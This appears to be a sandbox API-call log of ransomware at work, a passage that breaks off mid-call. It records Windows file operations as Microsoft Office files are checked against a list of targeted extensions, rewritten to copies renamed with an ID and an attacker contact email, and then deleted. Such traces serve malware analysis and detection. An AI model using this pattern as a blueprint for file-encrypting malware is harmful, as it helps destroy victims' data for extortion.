lstrlenW (lpString=".doc") returned 4 [0190.740] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0190.740] lstrlenW (lpString=".docx") returned 5 [0190.740] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0190.740] lstrlenW (lpString=".pdf") returned 4 [0190.740] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0190.740] lstrlenW (lpString=".xls") returned 4 [0190.740] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0190.740] lstrlenW (lpString=".xlsx") returned 5 [0190.740] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0190.740] lstrlenW (lpString=".ppt") returned 4 [0190.740] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0190.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0190.740] lstrlenW (lpString=".zip") returned 4 [0190.740] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0190.740] lstrlenW (lpString=".rar") returned 4 [0190.740] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0190.740] lstrlenW (lpString=".bz2") returned 4 [0190.741] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0190.741] lstrlenW (lpString=".7z") returned 3 [0190.741] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0190.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0190.741] lstrlenW (lpString=".dbf") returned 4 [0190.741] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0190.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0190.741] lstrlenW (lpString=".1cd") returned 4 [0190.741] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0190.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WNTER_01.MID") returned 68 [0190.741] lstrlenW (lpString=".jpg") returned 4 [0190.741] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0190.741] lstrcmpiW (lpString1=".msu", lpString2=".kr") returned 1 [0190.742] lstrlenW (lpString="Windows8-RT-KB2999226-x86.msu") returned 29 [0190.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0191.023] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=615304) returned 1 [0191.023] CloseHandle (hObject=0x540) returned 1 [0191.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 0x220 [0191.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0191.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0191.025] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.025] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0191.026] GetLastError () returned 0x0 [0191.026] ReadFile (in: hFile=0x540, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x96388, lpOverlapped=0x0) returned 1 [0191.053] WriteFile (in: hFile=0x450, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x96390, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x96390, lpOverlapped=0x0) returned 1 [0191.360] ReadFile (in: hFile=0x540, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0191.360] WriteFile (in: hFile=0x450, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x10e, lpOverlapped=0x0) returned 1 [0191.360] SetEndOfFile (hFile=0x450) returned 1 [0191.361] CloseHandle (hObject=0x450) returned 1 [0191.361] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.361] SetEndOfFile (hFile=0x540) returned 1 [0191.376] CloseHandle (hObject=0x540) returned 1 [0191.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 1 [0192.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0192.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0192.320] lstrlenW (lpString=".doc") returned 4 [0192.320] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0192.320] lstrlenW (lpString=".docx") returned 5 [0192.320] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0192.320] lstrlenW (lpString=".pdf") returned 4 [0192.320] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0192.320] lstrlenW (lpString=".xls") returned 4 [0192.320] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0192.320] lstrlenW (lpString=".xlsx") returned 5 [0192.320] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0192.320] lstrlenW (lpString=".ppt") returned 4 [0192.320] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0192.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0192.320] lstrlenW (lpString=".zip") returned 4 [0192.320] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0192.320] lstrlenW (lpString=".rar") returned 4 [0192.320] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0192.320] lstrlenW (lpString=".bz2") returned 4 [0192.321] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0192.321] lstrlenW (lpString=".7z") returned 3 [0192.321] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0192.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0192.321] lstrlenW (lpString=".dbf") returned 4 [0192.321] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0192.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0192.321] lstrlenW (lpString=".1cd") returned 4 [0192.321] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0192.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0192.321] lstrlenW (lpString=".jpg") returned 4 [0192.321] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0192.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0192.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0192.321] lstrlenW (lpString=".doc") returned 4 [0192.321] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0192.321] lstrlenW (lpString=".docx") returned 5 [0192.321] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0192.321] lstrlenW (lpString=".pdf") returned 4 [0192.321] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0192.321] lstrlenW (lpString=".xls") returned 4 [0192.321] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0192.321] lstrlenW (lpString=".xlsx") returned 5 [0192.321] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0192.321] lstrlenW (lpString=".ppt") returned 4 [0192.322] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0192.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0192.322] lstrlenW (lpString=".zip") returned 4 [0192.322] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0192.322] lstrlenW (lpString=".rar") returned 4 [0192.322] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0192.322] lstrlenW (lpString=".bz2") returned 4 [0192.322] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0192.322] lstrlenW (lpString=".7z") returned 3 [0192.322] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0192.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0192.322] lstrlenW (lpString=".dbf") returned 4 [0192.322] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0192.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0192.322] lstrlenW (lpString=".1cd") returned 4 [0192.322] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0192.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0192.322] lstrlenW (lpString=".jpg") returned 4 [0192.322] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0192.322] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0192.322] lstrlenW (lpString="AccessR_Retail-pl.xrm-ms") returned 24 [0192.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0192.739] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=10631) returned 1 [0192.755] CloseHandle (hObject=0x36c) returned 1 [0192.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 0x220 [0192.758] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0192.758] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.758] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0192.759] GetLastError () returned 0x0 [0192.759] ReadFile (in: hFile=0x36c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2987, lpOverlapped=0x0) returned 1 [0192.761] WriteFile (in: hFile=0x4d4, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2990, lpOverlapped=0x0) returned 1 [0192.762] ReadFile (in: hFile=0x36c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.762] WriteFile (in: hFile=0x4d4, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x104, lpOverlapped=0x0) returned 1 [0192.762] SetEndOfFile (hFile=0x4d4) returned 1 [0192.762] CloseHandle (hObject=0x4d4) returned 1 [0192.763] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.763] SetEndOfFile (hFile=0x36c) returned 1 [0192.766] CloseHandle (hObject=0x36c) returned 1 [0192.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 1 [0192.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0192.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0192.767] lstrlenW (lpString=".doc") returned 4 [0192.767] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.767] lstrlenW (lpString=".docx") returned 5 [0192.767] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.767] lstrlenW (lpString=".pdf") returned 4 [0192.767] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.767] lstrlenW (lpString=".xls") returned 4 [0192.767] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.767] lstrlenW (lpString=".xlsx") returned 5 [0192.767] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.767] lstrlenW (lpString=".ppt") returned 4 [0192.767] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0192.767] lstrlenW (lpString=".zip") returned 4 [0192.768] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.768] lstrlenW (lpString=".rar") returned 4 [0192.768] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.768] lstrlenW (lpString=".bz2") returned 4 [0192.768] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.768] lstrlenW (lpString=".7z") returned 3 [0192.768] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0192.768] lstrlenW (lpString=".dbf") returned 4 [0192.768] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0192.768] lstrlenW (lpString=".1cd") returned 4 [0192.768] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0192.768] lstrlenW (lpString=".jpg") returned 4 [0192.768] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0192.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0192.768] lstrlenW (lpString=".doc") returned 4 [0192.768] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.768] lstrlenW (lpString=".docx") returned 5 [0192.768] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.768] lstrlenW (lpString=".pdf") returned 4 [0192.768] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.768] lstrlenW (lpString=".xls") returned 4 [0192.768] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.768] lstrlenW (lpString=".xlsx") returned 5 [0192.768] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.768] lstrlenW (lpString=".ppt") returned 4 [0192.769] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0192.769] lstrlenW (lpString=".zip") returned 4 [0192.769] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.769] lstrlenW (lpString=".rar") returned 4 [0192.769] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.769] lstrlenW (lpString=".bz2") returned 4 [0192.769] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.769] lstrlenW (lpString=".7z") returned 3 [0192.769] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0192.769] lstrlenW (lpString=".dbf") returned 4 [0192.769] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0192.769] lstrlenW (lpString=".1cd") returned 4 [0192.769] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0192.769] lstrlenW (lpString=".jpg") returned 4 [0192.769] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.769] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0192.769] lstrlenW (lpString="AccessR_Retail-ul-phn.xrm-ms") returned 28 [0192.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0192.770] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=19924) returned 1 [0192.770] CloseHandle (hObject=0x36c) returned 1 [0192.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 0x220 [0192.770] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0192.771] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.771] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0192.771] GetLastError () returned 0x0 [0192.771] ReadFile (in: hFile=0x36c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x4dd4, lpOverlapped=0x0) returned 1 [0192.774] WriteFile (in: hFile=0x4d4, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0192.775] ReadFile (in: hFile=0x36c, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.775] WriteFile (in: hFile=0x4d4, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x10c, lpOverlapped=0x0) returned 1 [0192.776] SetEndOfFile (hFile=0x4d4) returned 1 [0192.776] CloseHandle (hObject=0x4d4) returned 1 [0192.776] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.776] SetEndOfFile (hFile=0x36c) returned 1 [0192.779] CloseHandle (hObject=0x36c) returned 1 [0192.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.779] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 1 [0192.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0192.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0192.780] lstrlenW (lpString=".doc") returned 4 [0192.780] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.780] lstrlenW (lpString=".docx") returned 5 [0192.780] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.780] lstrlenW (lpString=".pdf") returned 4 [0192.780] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0192.780] lstrlenW (lpString=".xls") returned 4 [0192.780] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0192.780] lstrlenW (lpString=".xlsx") returned 5 [0192.780] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0192.780] lstrlenW (lpString=".ppt") returned 4 [0192.780] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0192.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0192.781] lstrlenW (lpString=".zip") returned 4 [0192.781] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0192.781] lstrlenW (lpString=".rar") returned 4 [0192.781] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0192.781] lstrlenW (lpString=".bz2") returned 4 [0192.781] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0192.781] lstrlenW (lpString=".7z") returned 3 [0192.781] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0192.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0192.781] lstrlenW (lpString=".dbf") returned 4 [0192.781] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0192.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0192.781] lstrlenW (lpString=".1cd") returned 4 [0192.781] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0192.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0192.781] lstrlenW (lpString=".jpg") returned 4 [0192.781] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0192.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0192.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0192.781] lstrlenW (lpString=".doc") returned 4 [0192.781] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.781] lstrlenW (lpString=".docx") returned 5 [0192.781] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.781] 